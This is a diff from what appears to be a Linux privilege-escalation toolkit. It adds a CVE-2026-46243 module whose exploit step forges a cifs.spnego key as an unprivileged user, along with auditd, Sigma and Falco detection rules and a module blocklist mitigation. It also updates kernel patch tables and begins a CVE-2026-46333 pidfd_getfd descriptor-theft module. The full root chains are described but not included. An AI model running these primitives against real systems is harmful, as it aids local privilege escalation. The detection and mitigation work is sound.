fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
@@ -69,9 +69,9 @@
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 10},
|
||||
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
|
||||
@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 102}, /* 5.10.x backport */
|
||||
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
|
||||
@@ -667,14 +667,18 @@ static int dd_active_probe(void)
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
* - kernel < 6.16.1 → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
|
||||
* - kernel in range → consult kernel_range for backport coverage
|
||||
* - --active → empirical override
|
||||
*
|
||||
* Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
|
||||
* range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
|
||||
* 6.18.23 backport, 6.19.13 backport, 7.0 stable.
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{6, 18, 23}, /* 6.18.x stable backport */
|
||||
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
{7, 0, 0}, /* mainline fix landed before 7.0 stable */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
@@ -697,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
|
||||
* stable per NVD. Earlier 6.x kernels don't have the buggy code. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
"RESPONSE bug introduced in 6.16.1 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -903,11 +903,26 @@ static int fg_active_probe(void)
|
||||
* - --active → empirical override (catches distro silent
|
||||
* backports and unfixed 7.0.x ≤ 7.0.8)
|
||||
*
|
||||
* Stable-branch backports for 5.10 / 6.1 / 6.12 — when they ship —
|
||||
* extend the table with the matching {major, minor, patch} entry.
|
||||
* Per NVD CVE-2026-46300 (queried 2026-05-28): SKBFL_SHARED_FRAG was
|
||||
* introduced at 5.11; the marker-propagation bug is present 5.11+. The
|
||||
* fix was backported across every active stable branch:
|
||||
*
|
||||
* 5.15-LTS: vulnerable 5.15.0–5.15.207, fixed 5.15.208+
|
||||
* 6.1-LTS: vulnerable 5.16.0–6.1.173, fixed 6.1.174+
|
||||
* 6.6-LTS: vulnerable 6.2.0–6.6.140, fixed 6.6.141+
|
||||
* 6.12-LTS: vulnerable 6.7.0–6.12.90, fixed 6.12.91+
|
||||
* 6.18-LTS: vulnerable 6.13.0–6.18.32, fixed 6.18.33+
|
||||
* 7.0: vulnerable 6.19.0–7.0.9, fixed 7.0.10+
|
||||
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
|
||||
*/
|
||||
static const struct kernel_patched_from fragnesia_patched_branches[] = {
|
||||
{7, 0, 9}, /* mainline + 7.0.x stable: fix lands at 7.0.9 */
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
|
||||
{5, 15, 208}, /* 5.15-LTS backport */
|
||||
{6, 1, 174}, /* 6.1-LTS backport */
|
||||
{6, 6, 141}, /* 6.6-LTS backport */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
|
||||
{6, 18, 33}, /* 6.18-LTS backport */
|
||||
{7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
|
||||
};
|
||||
static const struct kernel_range fragnesia_range = {
|
||||
.patched_from = fragnesia_patched_branches,
|
||||
@@ -930,6 +945,17 @@ static skeletonkey_result_t fg_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: SKBFL_SHARED_FRAG marker only exists from 5.11
|
||||
* onwards; older kernels don't have the buggy skb_try_coalesce()
|
||||
* code path. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: kernel %s predates the "
|
||||
"SKBFL_SHARED_FRAG marker added in 5.11 — not "
|
||||
"applicable\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] fragnesia: unprivileged user "
|
||||
|
||||
@@ -71,6 +71,7 @@
|
||||
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
|
||||
* (--active) is required to confirm exploitability on a real host. */
|
||||
static const struct kernel_patched_from mutagen_patched_branches[] = {
|
||||
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
|
||||
{4, 14, 71}, /* 4.14 LTS stable backport */
|
||||
{4, 18, 8}, /* mainline + everything above inherits */
|
||||
};
|
||||
|
||||
@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
|
||||
{4, 14, 240},
|
||||
{4, 19, 198},
|
||||
{5, 4, 128},
|
||||
{5, 10, 46},
|
||||
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
|
||||
{5, 11, 20},
|
||||
{5, 12, 13},
|
||||
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
||||
|
||||
@@ -62,7 +62,7 @@
|
||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||
{5, 15, 110},
|
||||
{6, 1, 27},
|
||||
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
|
||||
{6, 2, 13},
|
||||
{6, 3, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -97,6 +97,7 @@
|
||||
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||
* placeholding at {7, 0, 0} until that lands. */
|
||||
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
|
||||
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||
depending on when 6.15 closes — refresh when known */
|
||||
};
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
# ptrace_pidfd — CVE-2026-46333
|
||||
|
||||
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||
`pidfd_getfd(2)`.
|
||||
|
||||
## The bug
|
||||
|
||||
When a privileged process drops its credentials, the kernel resets its
|
||||
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||
is a narrow window during the credential drop in which the process is
|
||||
*still reachable* through ptrace-family access checks even though its
|
||||
`dumpable` state should already have closed that path.
|
||||
|
||||
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||
before duplicating a descriptor out of the target process. During the
|
||||
stale window that check wrongly succeeds, so an unprivileged process can
|
||||
pull descriptors — a root-opened credential file, or an authenticated
|
||||
D-Bus / socket channel — out of a transiently-privileged process and
|
||||
re-use them under its own uid.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||
| Fixed upstream | mainline, 2026-05-14 |
|
||||
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||
the real primitive and confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||
probe — the empirical confirmation lives in the exploit path, which
|
||||
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||
context.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||
`--cleanup` reverts it.
|
||||
|
||||
## Credit
|
||||
|
||||
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||
@@ -0,0 +1,51 @@
|
||||
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||
`__ptrace_may_access()` path leaves a privileged process that is
|
||||
*dropping* its credentials briefly reachable through ptrace-family
|
||||
operations, even though its `dumpable` flag should already have closed
|
||||
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||
capture open file descriptors and authenticated IPC channels from a
|
||||
dying privileged process and re-use them under their own uid → local
|
||||
root and credential disclosure.
|
||||
|
||||
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||
`accounts-daemon`.
|
||||
|
||||
- Qualys advisory:
|
||||
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||
- Upstream fix: mainline, committed 2026-05-14.
|
||||
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to
|
||||
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` is version-pinned against the Debian backport thresholds
|
||||
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||
table during the credential-drop window, recording whether a root-owned
|
||||
descriptor is actually captured from a non-root context. It returns
|
||||
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||
project's no-fabrication rule.
|
||||
|
||||
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||
steals descriptors rather than injecting shellcode.
|
||||
@@ -0,0 +1,458 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||
* path leaves a privileged process that is *dropping* its credentials
|
||||
* briefly reachable through ptrace-family operations even though its
|
||||
* `dumpable` flag should already have closed that path. Paired with the
|
||||
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||
* file descriptors and authenticated IPC channels from a dying
|
||||
* privileged process and re-use them under their own uid → local root
|
||||
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||
* window — and records whether a root-owned fd was actually captured.
|
||||
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||
* root it did not get (the full target-specific fd-weaponization chain,
|
||||
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||
* not bundled until it can be VM-verified end-to-end).
|
||||
*
|
||||
* Affected range:
|
||||
* The __ptrace_may_access logic flaw has been in mainline since
|
||||
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||
* Debian-tracked stable backports:
|
||||
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||
* 6.12.x : K >= 6.12.88 (trixie)
|
||||
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||
*
|
||||
* No exotic preconditions: needs only a local unprivileged user and a
|
||||
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||
* descriptors rather than injecting shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||
* x86_64 / arm64 / most arches) when building against older headers so
|
||||
* the module still compiles on an old toolchain. */
|
||||
#ifndef SYS_pidfd_open
|
||||
#define SYS_pidfd_open 434
|
||||
#endif
|
||||
#ifndef SYS_pidfd_getfd
|
||||
#define SYS_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||
}
|
||||
